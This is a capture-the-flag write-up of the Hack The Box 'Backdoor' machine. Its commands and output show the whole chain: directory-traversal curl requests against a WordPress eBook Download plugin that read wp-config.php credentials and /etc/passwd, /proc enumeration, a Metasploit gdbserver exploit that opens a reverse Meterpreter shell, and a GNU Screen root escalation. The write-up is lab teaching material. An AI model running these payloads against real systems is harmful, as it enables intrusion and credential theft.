hackthebox-backdoor-writeup

Introduction@Backdoor:~$

ColumnDetails
NameBackdoor
IP10.10.11.125
Points20
OsLinux
DifficultyEasy
Creatorhkabubaker17
Out On20 Nov 2021

Brief@Hackthebox Backdoor Writeup :~$

In this machine we need to exploit the wordpress plugin called ebook-download to check the file inside server and find one process running gdbserver on port 1337 exploit that to get rev shell as user and for privexec abuse the GNU Screen 4.5.0 to get root.

Recon

Nmap

┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Backdoor]
└──╼ [★]$ nmap -p 1-2000 -sC -sV -oA nmap/result 10.10.11.125
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-24 21:02 CST
Nmap scan report for 10.10.11.125
Host is up (0.081s latency).
Not shown: 1997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
|   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_  256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.8.1
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor – Real-Life
1337/tcp open  waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.38 seconds

There are three ports open 22:ssh,80:http,1337:waste(Interesting)

Let's start with enumerating port 1337 with nc.

┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Backdoor]
└──╼ [★]$ netcat -vvv 10.10.11.125 1337
Ncat: Version 7.91 ( https://nmap.org/ncat )
NCAT DEBUG: Using system default trusted CA certificates and those in /etc/ssl/certs/ca-certificates.crt.
libnsock nsock_iod_new2(): nsock_iod_new (IOD #1)
libnsock nsock_connect_tcp(): TCP connection requested to 10.10.11.125:1337 (IOD #1) EID 8
libnsock nsock_trace_handler_callback(): Callback: CONNECT SUCCESS for EID 8 [10.10.11.125:1337]
Ncat: Connected to 10.10.11.125:1337.
libnsock nsock_iod_new2(): nsock_iod_new (IOD #2)
libnsock nsock_read(): Read request from IOD #1 [10.10.11.125:1337] (timeout: -1ms) EID 18
libnsock nsock_readbytes(): Read request for 0 bytes from IOD #2 [peer unspecified] EID 26
help
libnsock nsock_trace_handler_callback(): Callback: READ SUCCESS for EID 26 [peer unspecified] (5 bytes): help.
libnsock nsock_write(): Write request for 5 bytes to IOD #1 EID 35 [10.10.11.125:1337]
libnsock nsock_trace_handler_callback(): Callback: WRITE SUCCESS for EID 35 [10.10.11.125:1337]
libnsock nsock_readbytes(): Read request for 0 bytes from IOD #2 [peer unspecified] EID 42
!help
libnsock nsock_trace_handler_callback(): Callback: READ SUCCESS for EID 42 [peer unspecified] (6 bytes): !help.
libnsock nsock_write(): Write request for 6 bytes to IOD #1 EID 51 [10.10.11.125:1337]
libnsock nsock_trace_handler_callback(): Callback: WRITE SUCCESS for EID 51 [10.10.11.125:1337]
libnsock nsock_readbytes(): Read request for 0 bytes from IOD #2 [peer unspecified] EID 58

Nothing interesting found in 1337 port

Port-80

It's a simple WordPress page.

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We can conform that with footer

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In WordPress website i first try to check if directory listing is enable or not.

And we see when we go wp-includes we see all files in the server.

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Let's check if we list out the plugins directory. Go to wp-content/plugins/

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We got the ebook-download plugin let's check the readme.txt inside that directory to check the current version of that plugin.

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We got the version 1.1 let's check the exploit for that specific version.

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And we got the exploit for that specific version.

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Link : WordPress Plugin eBook Download 1.1 - Directory Traversal

Let's first try to get the wp-config.php file with curl command.

┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Backdoor]
└──╼ [★]$ curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

../../../wp-config.php../../../wp-config.php../../../wp-config.php<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpressuser' );

/** MySQL database password */
define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */

/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/* THIS IS CUSTOM CODE CREATED AT ZEROFRACTAL TO MAKE SITE ACCESS DYNAMIC */
$currenthost = "http://".$_SERVER['HTTP_HOST'];
$currentpath = preg_replace('@/+$@','',dirname($_SERVER['SCRIPT_NAME']));
$currentpath = preg_replace('/\/wp.+/','',$currentpath);
define('WP_HOME',$currenthost.$currentpath);
define('WP_SITEURL',$currenthost.$currentpath);
define('WP_CONTENT_URL', $currenthost.$currentpath.'/wp-content');
define('WP_PLUGIN_URL', $currenthost.$currentpath.'/wp-content/plugins');
define('DOMAIN_CURRENT_SITE', $currenthost.$currentpath );
@define('ADMIN_COOKIE_PATH', './');

define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
<script>window.close()</script>

And it's work we got the database username and password.

/** MySQL database username */                                                                 
define( 'DB_USER', 'wordpressuser' );
/** MySQL database password */
define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

Let's try this creads to login inside wordpress admin panel.

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But it's not working.

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Let's try to get /etc/passwd file to check the users exist.

┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Backdoor]
└──╼ [★]$ curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/passwd
/etc/passwd/etc/passwd/etc/passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
<script>window.close()</script>

There is one user called user let's try to get the id_rsa of that user.

┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Backdoor]
└──╼ [★]$ curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa
/home/user/.ssh/id_rsa/home/user/.ssh/id_rsa/home/user/.ssh/id_rsa<script>window.close()</script>

Let' check the crontab.

┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Backdoor]
└──╼ [★]$ curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/crontab
/etc/crontab/etc/crontab/etc/crontab# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the crontab
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

Nothing interestingthere after that i think let's enumerate the proccess running on server.

Link : Directory Traversal, File Inclusion, and The Proc File System

We can check these file inside proc/[pid]/ folder.

hackthebox-backdoor-writeup

I use cmdline to check the command running on that process.

Let's use wfuzz to enumerate the pid.

┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Backdoor]
└──╼ [★]$ wfuzz -u http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/FUZZ/cmdline -z range,1-1000 --hw 1
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/FUZZ/cmdline
Total requests: 1000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                      
=====================================================================

000000825:   200        0 L      11 W       181 Ch      "825"                                                                                                                        
000000823:   200        0 L      12 W       183 Ch      "823"                                                                                                                        
000000843:   200        0 L      8 W        138 Ch      "843"                                                                                                                        
000000942:   200        0 L      3 W        128 Ch      "942"                                                                                                                        

Total time: 0
Processed Requests: 1000
Filtered Requests: 996
Requests/sec.: 0

And we got 4 pid let's check first 825.

┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Backdoor]
└──╼ [★]$ curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/825/cmdline --output test.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   181  100   181    0     0   1103      0 --:--:-- --:--:-- --:--:--  1096
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Backdoor]
└──╼ [★]$ cat test.txt 
/proc/825/cmdline/proc/825/cmdline/proc/825/cmdline/bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;";

And we see gdbserver is running on port 1337 which nmap said waste let's check the exploit for that.

Link : GDB Server Remote Payload Execution

Let's use msfconsole for getting shell in machine.

┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Backdoor]
└──╼ [★]$ msfdb run
[i] Database already started
                                                  

                 _---------.
             .' #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@        @ ,'-   .'--"
          ".@' ; @       @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@   .
                ',@@     @   ;           _____________
                 (   3 C    )     /|___ / Metasploit!                  ;@'. __*__,."    \|--- _____________/
                  '(.,...."/


       =[ metasploit v6.0.37-dev                          ]
+ -- --=[ 2111 exploits - 1136 auxiliary - 357 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 8 evasion                                       ]

Metasploit tip: To save all commands executed since start up 
to a file, use the makerc command

msf6 > use exploit/multi/gdb/gdb_server_exec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/gdb/gdb_server_exec) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/gdb/gdb_server_exec) > set RHOSTS 10.10.11.125
RHOSTS => 10.10.11.125
msf6 exploit(multi/gdb/gdb_server_exec) > set RPORT 1337
RPORT => 1337
msf6 exploit(multi/gdb/gdb_server_exec) > set lhost tun0
lhost => tun0

After configuring the msfconsole let's run that.

And we got the shell as user and get the user.txt.

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Privilege escalation

Now let's run linPEAS.

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It's running GNU Screen as root we can switch our screen to root let's try that out.

screen -x root/root

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Now we are root user let's get the root.txt file.

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Second Method For Privilege escalation

Link : Screen 4.5.0 local privEsc for OSCP

And we Done with it …….

If u liked the writeup.Support a Student to Get the OSCP-Cert Donation for OSCP

TopicUrl
WordPress Plugin eBook Download 1.1 - Directory Traversalhttps://www.exploit-db.com/exploits/39575
Directory Traversal, File Inclusion, and The Proc File Systemhttps://www.netspi.com/blog/technical/web-application-penetration-testing/directory-traversal-file-inclusion-proc-file-system/
GDB Server Remote Payload Executionhttps://www.rapid7.com/db/modules/exploit/multi/gdb/gdb_server_exec/
Screen 4.5.0 local privEsc for OSCPhttps://www.youtube.com/watch?v=RP4hAC96VxQ
This post is licensed under CC BY 4.0